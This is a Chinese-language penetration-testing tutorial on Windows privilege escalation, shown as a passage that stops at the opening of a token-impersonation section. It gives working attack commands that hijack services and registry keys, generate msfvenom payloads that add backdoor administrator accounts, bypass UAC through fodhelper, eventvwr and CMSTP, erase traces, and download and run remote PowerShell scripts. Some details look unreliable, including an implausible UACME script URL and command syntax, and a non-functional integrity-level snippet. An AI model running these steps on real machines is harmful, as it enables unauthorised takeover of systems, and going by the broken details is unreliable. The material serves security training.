【提示】 本文所有技术内容仅用于授权渗透测试、安全研究和学习目的。未经授权对他人系统进行提权攻击属于违法行为。请务必在合法授权范围内进行操作,遵守当地网络安全法律法规。在这里插入图片描述

前言:为什么Windows提权是渗透测试的核心技能

在渗透测试的实战流程中,初始访问往往以低权限账户作为起点——无论是一个普通的WebShell、一个低权限的服务账户,还是一个普通域用户的凭据。而权限提升,则是将这个低权限立足点扩大到最高权限(SYSTEM或Domain Admin)的关键桥梁。

Windows操作系统作为企业环境中最广泛部署的服务器和工作站平台,其权限提升技术体系庞大且持续演进。从经典的 服务配置错误、注册表滥用、UAC绕过,到现代的内核漏洞利用、令牌窃取、AD域攻击,攻击面极其丰富。

本文将从基础权限体系出发,系统性地梳理Windows提权的完整知识图谱,涵盖15种主流提权路径,每种路径均配有实际可用的命令、代码示例和完整利用流程。

一、Windows权限体系基础

1.1 Windows安全模型核心概念

Windows的安全子系统建立在多个核心概念之上,理解这些概念是掌握提权技术的地基。

安全概念 全称 说明
SID Security Identifier 安全标识符,唯一标识每个用户/组/计算机账户
ACL Access Control List 访问控制列表,附加在安全对象上
DACL Discretionary ACL 自主访问控制列表,定义谁可以访问对象
SACL System ACL 系统访问控制列表,定义哪些访问会被审计
ACE Access Control Entry 访问控制条目,ACL中的单条规则
Token Access Token 访问令牌,进程的身份凭证
Privilege Privilege 特权,账户可执行的特殊操作权限
MIC Mandatory Integrity Control 强制完整性控制,完整性级别机制

【提示】 每个进程在创建时都会获得一个访问令牌(Token),令牌中包含用户的SID、所属组SID、特权列表和完整性级别。提权的本质就是获取一个更高权限的令牌。

1.2 用户与组管理

Windows内置了大量关键用户和组,掌握它们的权限差异至关重要。

账户/组 说明 权限级别
SYSTEM (NT AUTHORITY\SYSTEM) Local System账户,操作系统的最高权限身份 最高,相当于root
Administrator 内置管理员账户 高权限,受UAC约束
Administrators组 管理员组成员 高权限,受UAC约束
Power Users组 高级用户组(已弃用但可能存在) 中等权限
Users组 普通用户组 低权限
Authenticated Users 所有通过身份验证的用户 低权限
Everyone 所有用户(含匿名) 最低权限

查看当前用户和权限的命令:

# 查看当前用户
whoami

# 查看当前用户权限详情(用户、组、SID、特权)
whoami /all

# 查看当前特权
whoami /priv

# 查看所属组
whoami /groups

# 列出所有本地用户
net user

# 查看指定用户详情
net user Administrator

# 列出本地组
net localgroup

# 查看Administrators组成员
net localgroup Administrators

# 查看当前登录用户
query user

1.3 UAC机制详解

用户账户控制(UAC,User Account Control)是Windows Vista引入的安全机制,旨在限制程序在管理员权限下的自动运行。

UAC的核心是完整性级别机制:

完整性级别 说明
Untrusted 0x0000 不可信,极少使用
Low 0x1000 低完整性,如浏览器沙箱进程
Medium 0x2000 中等完整性,普通用户默认级别
High 0x3000 高完整性,管理员提升后的级别
System 0x4000 系统完整性,SYSTEM账户级别
# 查看当前完整性级别
whoami /groups | findstr "Integrity"

# 查看进程完整性级别(需要Process Explorer或自身工具)
# PowerShell方式获取完整性级别
Get-Process | Select-Object Name, Id, @{Name='Integrity';Expression={
    $proc = $_
    try {
        $h = Get-Process -Id $proc.Id -IncludeUserName
        $h.StartInfo
    } catch { "N/A" }
}}

【提示】 UAC将管理员账户的默认令牌限制在Medium完整性级别。当需要执行管理员操作时,会触发UAC提示。如果程序的manifest中声明了 requireAdministrator,系统会自动弹出UAC窗口。绕过UAC是Windows提权的重要环节。

1.4 令牌特权速查表

以下是Windows中与提权密切相关的关键特权:

特权名称 显示名称 提权利用场景
SeImpersonatePrivilege 为客户端模拟 Potato家族提权,令牌模拟
SeAssignPrimaryTokenPrivilege 替换进程级令牌 与SeImpersonate配合提权
SeDebugPrivilege 调试程序 进程注入,窃取SYSTEM令牌
SeTcbPrivilege 作为操作系统的一部分 高级令牌操作
SeBackupPrivilege 备份文件和目录 读取SAM/SYSTEM文件
SeRestorePrivilege 还原文件和目录 写入系统文件
SeLoadDriverPrivilege 加载和卸载设备驱动 加载恶意驱动
SeTakeOwnershipPrivilege 取得文件所有权 夺取系统文件所有权
SeManageVolumePrivilege 管理卷 内核提权利用

1.5 Windows权限相关命令速查表

# 系统信息
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# 补丁信息
wmic qfe list
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 已安装软件
wmic product get name,version,vendor
Get-WmiObject -Class Win32_Product | Select-Object Name, Version

# 网络信息
ipconfig /all
netstat -ano
arp -a
route print

# 防火墙规则
netsh advfirewall firewall show rule name=all

# 服务信息
sc query state= all
wmic service get name,displayname,path,name,startmode

# 计划任务
schtasks /query /fo TABLE /v

# 用户和组
whoami /all
net user
net localgroup
net localgroup Administrators

# 注册表查询
reg query HKLM\SOFTWARE

二、信息收集自动化

信息收集是提权的第一步,决定了后续利用路径的选择。高质量的自动化工具能极大提升效率。

2.1 自动化提权枚举工具

WinPEAS

WinPEAS是Windows环境中最全面的提权枚举工具,覆盖服务、注册表、文件权限、计划任务等数十个维度。

# 下载并执行WinPEAS(.exe版本)
winpeas.exe

# 扈制为文件输出
winpeas.exe > winpeas_output.txt

# PowerShell版本
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1'); Invoke-WinPEAS"

# 指定输出格式
winpeas.exe fast
winpeas.exe cmd
winpeas.exe searchfast
Seatbelt

Seatbelt是C#编写的信息收集工具,由HarmJ0y开发,专注于收集可能与提权相关的配置数据。

# 编译执行
Seatbelt.exe -group=all

# 查看特定组的信息
Seatbelt.exe -group=system
Seatbelt.exe -group=chrome
Seatbelt.exe -group=interestingfiles

# 查看特定项目
Seatbelt.exe PowerShell
Seatbelt.exe WindowsAutoLogon
Seatbelt.exe ScheduledTasks
Seatbelt.exe Registry
PowerUp

PowerUp是PowerSploit框架中的提权模块,专门检测常见配置错误并可直接利用。

# 导入模块
Import-Module PowerUp.ps1

# 执行所有检查
Invoke-AllChecks

# 查看可修改的服务
Get-ModifiableService

# 查找可修改的服务文件
Get-ModifiableServiceFile

# 查找未引用的服务路径
Get-ServiceUnquoted

# 查找可写的注册表AutoRun项
Get-RegistryAutoStart

# 检查AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated

# 测试可用于提权的计划任务
Get-ScheduledTask
PrivescCheck

PrivescCheck是轻量级的PowerShell提权检查脚本,适合隐蔽执行。

# 执行全面检查
Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck

# 输出为CSV
Invoke-PrivescCheck -Format CSV | Out-File privesc.csv

# 输出为HTML报告
Invoke-PrivescCheck -Format HTML | Out-File privesc.html

2.2 系统信息收集清单

在进行任何提权尝试前,需要全面收集目标系统的以下信息:

收集维度 具体内容 命令
操作系统 版本、Build号、架构 systeminfo
补丁状态 已安装补丁列表 wmic qfe list
已安装软件 软件名、版本、路径 wmic product get name,version
用户信息 当前用户、组成员、特权 whoami /all
服务列表 服务名、路径、启动方式 sc query state= all
计划任务 任务名、执行路径、权限 schtasks /query /fo LIST /v
网络配置 IP、路由、ARP、端口 ipconfig /all; netstat -ano
注册表 AutoRun、AlwaysInstallElevated reg query 系列
文件权限 可写目录、可写文件 accesschk
防火墙状态 规则、开放端口 netsh advfirewall firewall
AV/EDR 防护软件及其进程 Get-Process
WiFi密码 已保存WiFi凭据 netsh wlan show profile

2.3 PowerShell信息收集命令集

# 操作系统和补丁信息
Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending

# 已安装软件
Get-CimInstance -ClassName Win32_Product | Select-Object Name, Version, Vendor, InstallDate

# 服务信息
Get-CimInstance -ClassName Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State, StartName

# 计划任务
Get-ScheduledTask | Select-Object TaskName, TaskPath, State, @{Name='Action';Expression={$_.Actions.Execute}}

# 用户和组
Get-LocalUser | Select-Object Name, Enabled, Description
Get-LocalGroupMember -Group Administrators

# 网络连接
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess

# 查找以SYSTEM权限运行的服务
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.StartName -match "LocalSystem|LocalService|NetworkService"} | Select-Object Name, PathName

# 查找可写的文件夹
Get-ChildItem -Path C:\ -Directory | ForEach-Object {
    $path = $_.FullName
    try {
        $testFile = "$path\test_write_access.tmp"
        [System.IO.File]::Create($testFile).Close()
        Remove-Item $testFile -Force
        Write-Output "Writable: $path"
    } catch {}
}

2.4 自动化枚举脚本完整代码

以下是一个完整的自定义提权信息收集脚本,可在无第三方工具依赖的情况下运行:

<#
.SYNOPSIS
    Windows提权信息收集脚本 - 自定义轻量版
.DESCRIPTION
    收集系统信息、服务配置、计划任务、注册表、文件权限等提权相关信息
.NOTES
    仅用于授权安全测试
#>

$ErrorActionPreference = "SilentlyContinue"

function Write-Section($title) {
    Write-Output ""
    Write-Output "=== $title ==="
    Write-Output ""
}

# 系统基本信息
Write-Section "System Information"
$os = Get-CimInstance Win32_OperatingSystem
Write-Output "OS: $($os.Caption) $($os.Version) Build $($os.BuildNumber)"
Write-Output "Architecture: $($os.OSArchitecture)"
Write-Output "Install Date: $($os.InstallDate)"
Write-Output "Last Boot: $($os.LastBootUpTime)"

# 当前用户信息
Write-Section "Current User"
Write-Output "User: $env:USERNAME"
Write-Output "Domain: $env:USERDOMAIN"
Write-Output "Computer: $env:COMPUTERNAME"

# 特权信息
Write-Section "Privileges"
whoami /priv

# 组信息
Write-Section "Group Membership"
whoami /groups

# 补丁信息
Write-Section "Installed Hotfixes"
Get-HotFix | Select-Object HotFixID, InstalledOn | Sort-Object InstalledOn -Descending | Format-Table -AutoSize

# 服务信息(重点:以SYSTEM运行且路径可写)
Write-Section "Services Running as SYSTEM"
Get-CimInstance Win32_Service | Where-Object {
    $_.State -eq "Running" -and $_.StartName -match "LocalSystem|LocalService|NetworkService"
} | Select-Object Name, DisplayName, PathName, StartMode | Format-Table -AutoSize -Wrap

# 未引用的服务路径
Write-Section "Unquoted Service Paths"
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName | Format-Table -AutoSize -Wrap

# 计划任务
Write-Section "Scheduled Tasks"
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath
    [PSCustomObject]@{
        TaskName  = $task.TaskName
        Path      = $task.TaskPath
        State     = $task.State
        LastRun   = $info.LastRunTime
        NextRun   = $info.NextRunTime
        Actions   = ($task.Actions.Execute -join "; ")
    }
} | Format-Table -AutoSize -Wrap

# 注册表AutoRun项
Write-Section "Registry AutoRun Entries"
$autoRunKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($key in $autoRunKeys) {
    if (Test-Path $key) {
        Write-Output "Key: $key"
        Get-ItemProperty -Path $key | Select-Object * -ExcludeProperty PS* | Format-List
    }
}

# AlwaysInstallElevated检查
Write-Section "AlwaysInstallElevated Check"
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue).AlwaysInstallElevated
Write-Output "HKCU AlwaysInstallElevated: $hkcu"
Write-Output "HKLM AlwaysInstallElevated: $hklm"

# 自动登录凭据
Write-Section "AutoLogon Credentials"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select-Object DefaultUserName, DefaultPassword, DefaultDomainName, AltDefaultUserName, AltDefaultPassword

# 可写目录检测
Write-Section "World-Writable Directories in Program Files"
$writableDirs = @()
Get-ChildItem "C:\Program Files\","C:\Program Files (x86)\","C:\" -Directory | ForEach-Object {
    $path = $_.FullName
    $testFile = Join-Path $path ".write_test_$(Get-Random)"
    try {
        [System.IO.File]::WriteAllText($testFile, "test")
        Remove-Item $testFile -Force
        $writableDirs += $path
        Write-Output "WRITABLE: $path"
    } catch {}
}

Write-Section "Enumeration Complete"

【提示】 信息收集阶段应尽量减少网络外联,优先使用系统自带工具或无依赖的脚本。大量外联流量容易触发EDR告警。在实际渗透中,脚本应从本地加载而非远程下载执行。

三、服务配置错误提权

服务配置错误是Windows提权中最常见的路径之一。Windows服务通常以高权限(如SYSTEM)运行,而其配置往往存在权限过宽的问题。

3.1 服务权限配置分析

使用accesschk分析服务权限
# 下载Sysinternals accesschk
# 分析所有服务的权限,查找当前用户可修改的服务
accesschk.exe -uwcqv "Authenticated Users" *

# 查找指定用户可修改的服务
accesschk.exe -uwcqv "Users" *

# 查找当前用户可修改的服务
accesschk.exe -uwcqv %username% *

# 查找Everyone可修改的服务
accesschk.exe -uwcqv "Everyone" *

# 查看指定服务的详细权限
accesschk.exe -ucqv Servicename

# 查看服务二进制路径的文件权限
accesschk.exe -uwcqv "Authenticated Users" -accepteula
使用sc命令分析服务
# 查询服务配置(关键:查看BINARY_PATH_NAME和SERVICE_START_NAME)
sc qc Spooler

# 查询服务状态
sc query Spooler

# 列出所有服务
sc query state= all

# 查看服务描述
sc description Servicename

# 修改服务binPath(如果拥有权限)
sc config Servicename binPath= "C:\path\to\payload.exe"

# 修改服务启动方式(设置为自动启动)
sc config Servicename start= auto

# 启动服务
sc start Servicename

# 停止服务
sc stop Servicename

【提示】 sc qc 输出中的 BINARY_PATH_NAME 是服务可执行文件路径,SERVICE_START_NAME 是服务运行账户。如果服务以SYSTEM运行且路径可写或权限可改,即可提权。

3.2 可写服务路径利用(Unquoted Service Path)

当服务路径包含空格且未用引号包裹时,Windows会按照路径顺序尝试执行文件。

例如,服务路径为 C:\Program Files\My Service\service.exe(无引号),Windows会依次尝试:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My Service\service.exe
# 查找未引用的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "system32"

# 使用PowerShell查找
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartName

# 使用PowerUp
Import-Module PowerUp.ps1
Get-ServiceUnquoted

# 检查可写路径
accesschk.exe -d -u -w "C:\Program Files\My Service"
# 如果返回Writable,则可以在该目录放置恶意文件

# 创建恶意可执行文件
msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f exe -o "C:\Program Files\My.exe"

# 重启服务触发执行
sc start "VulnerableService"
# 或等待服务自动启动

3.3 服务BINARY_PATH_NAME可写利用

如果服务可执行文件所在的目录或文件本身可被当前用户写入,可以直接替换可执行文件。

# 查找服务可执行文件路径
sc qc TargetService

# 检查文件权限
icacls "C:\Service\TargetService.exe"

# 检查目录权限
icacls "C:\Service"

# 使用accesschk检查
accesschk.exe -uwcqv "Users" "C:\Service\TargetService.exe"

# 备份原始文件(重要!保持隐蔽)
copy "C:\Service\TargetService.exe" "C:\Service\TargetService.exe.bak"

# 生成恶意payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Service\TargetService.exe"

# 重启服务
sc stop TargetService
sc start TargetService

# 验证提权
whoami /groups
net localgroup Administrators

3.4 服务权限滥用(SERVICE_ALL_ACCESS)

如果当前用户对某个服务拥有完全控制权限(SERVICE_ALL_ACCESS),可以直接修改服务配置指向恶意程序。

# 确认服务权限
accesschk.exe -ucqv "Authenticated Users" TargetService

# 如果拥有 SC_MANAGER_CHANGE_CONFIG 或 SERVICE_CHANGE_CONFIG 权限
# 修改服务binPath为恶意程序
sc config TargetService binPath= "C:\Temp\payload.exe"

# 修改服务以SYSTEM启动(如果当前不是)
sc config TargetService obj= LocalSystem

# 启动服务触发执行
sc start TargetService

# 恢复原配置(清理痕迹)
sc config TargetService binPath= "C:\Original\Path\service.exe"

3.5 PowerUp的Get-ModifiableService使用

PowerUp提供了一键式发现和利用服务配置错误的能力。

# 导入PowerUp
Import-Module .\PowerUp.ps1

# 查找所有可修改的服务
Get-ModifiableService -ErrorAction SilentlyContinue

# 查找可修改的服务文件(可写的服务可执行文件)
Get-ModifiableServiceFile

# 查找未引用的服务路径
Get-ServiceUnquoted

# 一键执行所有检查
Invoke-AllChecks

# 直接利用可修改的服务提权
# -ServiceName 指定要利用的服务
# -Command 指定要执行的命令
Invoke-ServiceAbuse -ServiceName TargetService -Command "net localgroup administrators user /add"

# 使用DLL利用方式
Invoke-ServiceAbuse -ServiceName TargetService -Command "C:\Temp\payload.exe"

3.6 完整服务提权利用流程

以下是一个完整的服务配置错误提权流程:

# 步骤1:发现可修改的服务
accesschk.exe -uwcqv "Authenticated Users" * | findstr /v "No"

# 假设发现 VulnService 可被修改
# 步骤2:查看服务详细信息
sc qc VulnService
# 输出示例:
# BINARY_PATH_NAME: C:\VulnService\service.exe
# SERVICE_START_NAME: LocalSystem

# 步骤3:检查binPath所在目录权限
icacls "C:\VulnService"
# 如果显示 Users:(M) 或 Users:(F),则目录可写

# 步骤4:备份原始服务文件
copy "C:\VulnService\service.exe" "C:\VulnService\service.exe.bak"

# 步骤5:生成恶意可执行文件(以添加用户为例)
msfvenom -p windows/x64/exec CMD='net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add' -f exe -o "C:\VulnService\service.exe"

# 步骤6:停止并重启服务
sc stop VulnService
sc start VulnService

# 步骤7:验证提权结果
net localgroup administrators

# 步骤8:恢复原始文件清理痕迹
copy /Y "C:\VulnService\service.exe.bak" "C:\VulnService\service.exe"
del "C:\VulnService\service.exe.bak"

【提示】 在修改服务文件时,务必先备份原始文件。部分服务停止后可能导致系统功能异常,应选择非关键服务或确保服务可安全重启。在生产环境中测试时,建议先在实验环境验证完整流程。

四、注册表提权

Windows注册表是系统配置的核心存储库,许多注册表配置错误可直接用于权限提升。

4.1 注册表基础结构表

根键缩写 完整名称 说明
HKEY_CLASSES_ROOT (HKCR) Classes Root 文件关联和COM对象信息
HKEY_CURRENT_USER (HKCU) Current User 当前用户的配置信息
HKEY_LOCAL_MACHINE (HKLM) Local Machine 本机系统级配置
HKEY_USERS (HKU) Users 所有用户的配置信息
HKEY_CURRENT_CONFIG (HKCC) Current Config 当前硬件配置信息
# 注册表基本操作命令
# 查询键值
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# 查询指定子键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# 查询远程注册表
reg query \\RemotePC\HKLM\SOFTWARE\Microsoft /v ProductName

# 添加键值
reg add "HKLM\SOFTWARE\test" /v testvalue /t REG_SZ /d "testdata" /f

# 删除键值
reg delete "HKLM\SOFTWARE\test" /f

# 导出注册表项
reg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" run_backup.reg

# 导入注册表
reg import settings.reg

4.2 AlwaysInstallElevated提权

当注册表中 AlwaysInstallElevated 键值被设置为1时,任何MSI安装包都将以SYSTEM权限执行,而不管当前用户的权限级别。

# 检查AlwaysInstallElevated是否启用
# 检查HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 检查HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 两个键值都返回 0x1 时,表示已启用

# 使用PowerUp检查
Import-Module PowerUp.ps1
Get-RegistryAlwaysInstallElevated

# 利用方式1:使用msfvenom生成恶意MSI
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f msi -o /tmp/payload.msi

# 利用方式2:直接使用msiexec安装
# /quiet 静默安装 /qn 无UI
msiexec /quiet /qn /i C:\Temp\payload.msi

# 利用方式3:使用PowerUp直接提权
Write-UserAddMSI
# 这会在当前目录生成一个UserAdd.msi文件,执行后弹出添加用户的GUI

【提示】 AlwaysInstallElevated通常由组策略配置导致。如果只检查到HKCU或HKLM其中一个为1,提权不会成功——必须两个键值同时为1。

4.3 注册表服务配置可写利用

某些服务的配置存储在注册表中,如果注册表键权限配置错误,可修改服务指向恶意程序。

# 查找服务对应的注册表位置
# 服务注册表路径:HKLM\SYSTEM\CurrentControlSet\Services\
reg query HKLM\SYSTEM\CurrentControlSet\Services /s | findstr "ImagePath"

# 检查服务注册表项的权限
# 使用accesschk检查注册表权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SYSTEM\CurrentControlSet\Services\VulnService"

# 如果当前用户有写权限,修改ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /f

# 修改服务启动方式为自动
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v Start /t REG_DWORD /d 2 /f

# 重启或手动启动服务
sc start VulnService
# 或等待系统重启

# 恢复原始ImagePath清理痕迹
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Original\service.exe" /f

4.4 注册表Autorun提权

许多程序在系统启动时通过注册表AutoRun项自动运行。如果这些AutoRun项指向的文件可写,则可替换为恶意程序实现提权。

# 查找所有AutoRun注册表项
# HKLM Run键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# HKCU Run键
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# HKLM RunOnce键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# HKCU RunOnce键
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# WOW6432Node(32位程序在64位系统上)
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"

# 使用PowerUp查找可修改的AutoRun项
Import-Module PowerUp.ps1
Get-RegistryAutoStart

# 检查AutoRun项指向的文件是否可写
# 例如发现AutoRun项指向 C:\Programs\AutoRunApp.exe
icacls "C:\Programs\AutoRunApp.exe"

# 如果可写,备份并替换
copy "C:\Programs\AutoRunApp.exe" "C:\Programs\AutoRunApp.exe.bak"

# 生成恶意程序
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Programs\AutoRunApp.exe"

# 等待系统重启或用户重新登录触发执行
# 也可以尝试触发重启
shutdown /r /t 0

【提示】 AutoRun提权需要等待系统重启或用户重新登录才能触发。在实际测试中,可查看系统最后的启动时间来判断重启频率。强制重启系统可能导致业务中断,需谨慎操作。

五、UAC绕过技术

用户账户控制(UAC)是Windows管理员账户的安全防护层。当以管理员身份登录时,默认进程运行在Medium完整性级别。UAC绕过的目标是在不提示用户的情况下,将进程提升到High完整性级别。

5.1 UAC机制与完整性级别详解

UAC的工作原理基于完整性级别标签:

场景 完整性级别 行为
普通用户进程 Medium 默认级别,受限于ACL
管理员未提升进程 Medium UAC过滤令牌,特权被移除
管理员已提升进程 High 完整令牌,所有特权可用
SYSTEM进程 System 最高级别,操作系统进程
AppContainer/UWP Low/AppContainer 沙箱级别
# 检查当前UAC配置
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
# EnableLUA = 1 表示UAC已启用

# 检查UAC通知级别
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0 = 不提示直接提升
# 2 = 提示在安全桌面(默认)
# 5 = 提示在非安全桌面

5.2 UAC绕过方法分类表

绕过类型 原理 代表方法
自动提升的组件 某些系统程序manifest标记autoElevate fodhelper、eventvwr
COM接口劫持 劫持COM对象注册表 ICMLuaUtil、ColorDataProxy
环境变量注入 修改系统环境变量 windir环境变量绕过
DLL劫持 在搜索路径放置恶意DLL 系统进程DLL劫持
注册表劫持 修改HKCU中的类注册项 ms-settings劫持

5.3 fodhelper绕过

fodhelper.exe是一个Windows可选功能管理工具,其manifest标记了 autoElevate,且会读取HKCU中的注册表项。

# 步骤1:检查fodhelper是否存在
where fodhelper

# 步骤2:在HKCU创建ms-settings注册表项
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "" /t REG_SZ /d "cmd /c C:\Temp\payload.exe" /f

# 步骤3:添加DelegateExecute键值(fodhelper会检查此键值是否存在)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

# 步骤4:生成payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Temp\payload.exe"

# 步骤5:启动fodhelper触发绕过
fodhelper.exe

# 步骤6:验证提权
whoami /groups

# 步骤7:清理注册表
reg delete "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f

# PowerShell版本
# 使用UACME项目
# UACME编号: 33 (fodhelper)

【提示】 fodhelper绕过仅适用于UAC设置为"通知我"或更低级别的情况。如果UAC设置为"始终通知"(最严格级别),此方法无效。UAC的严格程度由 ConsentPromptBehaviorAdmin 键值决定。

5.4 eventvwr绕过

eventvwr.exe(事件查看器)同样标记了autoElevate,且会读取HKCU中的注册表项来加载管理单元。

# 创建注册表项
reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /v "" /t REG_SZ /d "cmd /c C:\Temp\payload.exe" /f
reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

# 启动eventvwr触发绕过
eventvwr.exe

# 验证提权
whoami /groups

# 清理注册表
reg delete "HKCU\Software\Classes\mscfile\Shell\Open\command" /f

5.5 CMSTP绕过

cmstp.exe是连接管理器服务配置文件安装程序,可被用于UAC绕过。

# 方法1:通过CMSTP执行命令
# 创建恶意INF文件
cat > C:\Temp\test.inf << 'EOF'
[version]
Signature=$CHICAGO$

[DefaultInstall]
UnRegisterOCXs=UnRegisterOCX

[UnRegisterOCX]
%11%\cmd.exe|c:\temp\payload.exe
EOF

# 执行CMSTP
cmstp.exe /s C:\Temp\test.inf

# 方法2:通过CMSTP直接执行(利用COM对象)
# 使用PowerShell脚本
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/tyranid/UACME/master/UACMe.ps1'); Invoke-CmstpBypass -Payload 'C:\Temp\payload.exe'"

5.6 DLL劫持UAC绕过

某些autoElevate的系统程序在启动时会加载DLL,如果能在DLL搜索路径中放置恶意DLL,可实现UAC绕过。

# 步骤1:使用Process Monitor分析autoElevate程序的DLL加载
# 设置过滤器:Process Name = 目标程序, Result = NAME NOT FOUND

# 步骤2:找到程序尝试加载但不存在的DLL
# 例如发现目标程序尝试加载 C:\Windows\System32\vuln.dll 失败

# 步骤3:如果在可写目录中找到可利用的DLL搜索位置
# 检查C:\Windows\System32\是否可写(通常不可)
# 但某些程序的当前工作目录或搜索路径可能可写

# 步骤4:生成恶意DLL
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o vuln.dll

# 步骤5:放置DLL到可利用路径
copy vuln.dll C:\Windows\System32\vuln.dll
# 或者放置到程序的工作目录

# 步骤6:启动目标程序触发DLL加载
target_program.exe

5.7 UACME工具使用

UACME是集成了数十种UAC绕过方法的工具框架,包含超过70种绕过技术。

# 编译UACME
# 使用Visual Studio编译
# 或者下载预编译版本

# 使用UACME执行UAC绕过
# 语法:uacme.exe [method_number] [command]
# 方法编号33:fodhelper绕过
UACME.exe 33 C:\Temp\payload.exe

# 方法编号40:eventvwr绕过
UACME.exe 40 C:\Temp\payload.exe

# 方法编号56:CMSTP绕过
UACME.exe 56 C:\Temp\payload.exe

# 方法编号61:环境变量绕过
UACME.exe 61 C:\Temp\payload.exe

# 查看所有可用方法
UACME.exe list

【提示】 UAC绕过技术需要当前用户已处于管理员组中(即Filtered Token为管理员)。如果是普通用户(非管理员组成员),UAC绕过无法直接提权到SYSTEM——这种情况下需要寻找其他提权路径。UAC绕过的本质是绕过管理员提权确认提示。

六、令牌窃取与模拟

令牌窃取是Windows提权的核心技术之一。当进程拥有特定特权(如SeImpersonatePrivilege)时,可以模拟或窃取其他进程的令牌,从而获得更高权限。

6.1 令牌类型表

令牌类型 说明 获取方式
Primary Token(主令牌) 进程的默认令牌 进程创建时分配
Impersonation Token(模拟令牌) 线程模拟的令牌 通过ImpersonateClient获取
Anonymous 匿名级别,无身份信息 最高限制
Identification 标识级别,可查看但不可模拟 可查看SID
Impersonation 模拟级别,可模拟客户端 可在本地使用
Delegation 委派级别,最高模拟权限 可跨网络使用

【提示】 要窃取令牌,进程需要拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege。这两个特权通常授予服务账户(如IIS、SQL Server、WinRM等)。从Web服务或SQL注入获取到服务账户的Shell后,这通常是下一步提权的路径。

6.2 SeImpersonatePrivilege利用

当拥有SeImpersonatePrivilege时,可以使用Potato系列工具进行提权。

PrintSpoofer

PrintSpoofer利用Windows打印机服务(Print Spooler)的命名管道模拟漏洞。

# 检查是否拥有SeImpersonatePrivilege
whoami /priv | findstr SeImpersonate

